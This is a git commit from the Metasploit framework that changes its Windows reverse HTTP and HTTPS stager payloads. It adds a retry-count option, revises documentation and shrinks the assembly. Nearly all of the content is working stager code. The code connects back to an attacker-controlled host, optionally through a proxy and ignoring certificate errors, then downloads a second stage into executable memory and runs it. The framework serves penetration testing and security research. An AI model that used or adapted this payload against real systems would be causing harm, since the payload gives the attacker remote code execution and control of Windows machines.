Fix yard docs, fix retries, trim bytes, retested and working

This commit is contained in:
HD Moore 2015-03-16 13:35:36 -05:00
parent 69a808b744
commit 05138524e3
2 changed files with 47 additions and 46 deletions

View File

@ -28,11 +28,12 @@ module Payload::Windows::ReverseHttp
register_advanced_options(
[
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
], self.class)
end
@ -46,7 +47,8 @@ module Payload::Windows::ReverseHttp
ssl: false,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW))
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@ -59,7 +61,8 @@ module Payload::Windows::ReverseHttp
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType']
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_http(conf)
@ -130,24 +133,23 @@ module Payload::Windows::ReverseHttp
end
#
# Dynamic payload generation
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [String] :proxy_host The optional proxy server host to use
# @option opts [Fixnum] :proxy_port The optional proxy server port to use
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_http(opts={})
#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
# proxy_host: [proxy-server]
# proxy_port: [port]
# proxy_user: [username]
# proxy_pass: [password]
# proxy_type: [HTTP|SOCKS]
#
retry_count = [opts[:retry_count].to_i, 1].max
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
@ -202,25 +204,19 @@ module Payload::Windows::ReverseHttp
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
set_retry:
push.i8 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; Set ebx to NULL to use in future arguments
^
if proxy_enabled
asm << %Q^
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
pop ecx
internetopen:
push ebx ; DWORD dwFlags
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
push ecx ; LPCTSTR lpszProxyName (NULL)
push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
call get_proxy_server
db "#{proxy_info}", 0x00
get_proxy_server:
; LPCTSTR lpszProxyName (via call)
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
@ -242,7 +238,7 @@ module Payload::Windows::ReverseHttp
internetconnect:
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push #{opts[:port]} ; PORT
@ -261,15 +257,14 @@ module Payload::Windows::ReverseHttp
if proxy_enabled && proxy_user
asm << %Q^
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
call set_proxy_username
proxy_username:
db "#{proxy_user}",0x00
set_proxy_username:
pop ecx ; Save the proxy username into ecx
; DWORD dwBufferLength (length of username)
push #{proxy_user.length}
push ecx ; LPVOID lpBuffer (username)
push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
; LPVOID lpBuffer (username from previous call)
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
@ -278,15 +273,14 @@ module Payload::Windows::ReverseHttp
if proxy_enabled && proxy_pass
asm << %Q^
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
call set_proxy_password
proxy_password:
db "#{proxy_pass}",0x00
set_proxy_password:
pop ecx ; Save the proxy password into ecx
; DWORD dwBufferLength (length of password)
push #{proxy_pass.length}
push ecx ; LPVOID lpBuffer (password)
push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
; LPVOID lpBuffer (password from previous call)
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
push esi ; hConnection
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
@ -307,6 +301,11 @@ module Payload::Windows::ReverseHttp
call ebp
xchg esi, eax ; save hHttpRequest in esi
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
^
@ -321,9 +320,9 @@ module Payload::Windows::ReverseHttp
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push.i8 4 ; sizeof(dwFlags)
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
@ -364,7 +363,7 @@ module Payload::Windows::ReverseHttp
asm << %Q^
allocate_memory:
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is

View File

@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_reverse_https(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
ssl: true)
url: generate_small_uri,
retry_count: datastore['StagerRetryCount'])
end
conf = {
@ -56,7 +57,8 @@ module Payload::Windows::ReverseHttps
proxy_port: datastore['PayloadProxyPort'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass'],
proxy_type: datastore['PayloadProxyType']
proxy_type: datastore['PayloadProxyType'],
retry_count: datastore['StagerRetryCount']
}
generate_reverse_https(conf)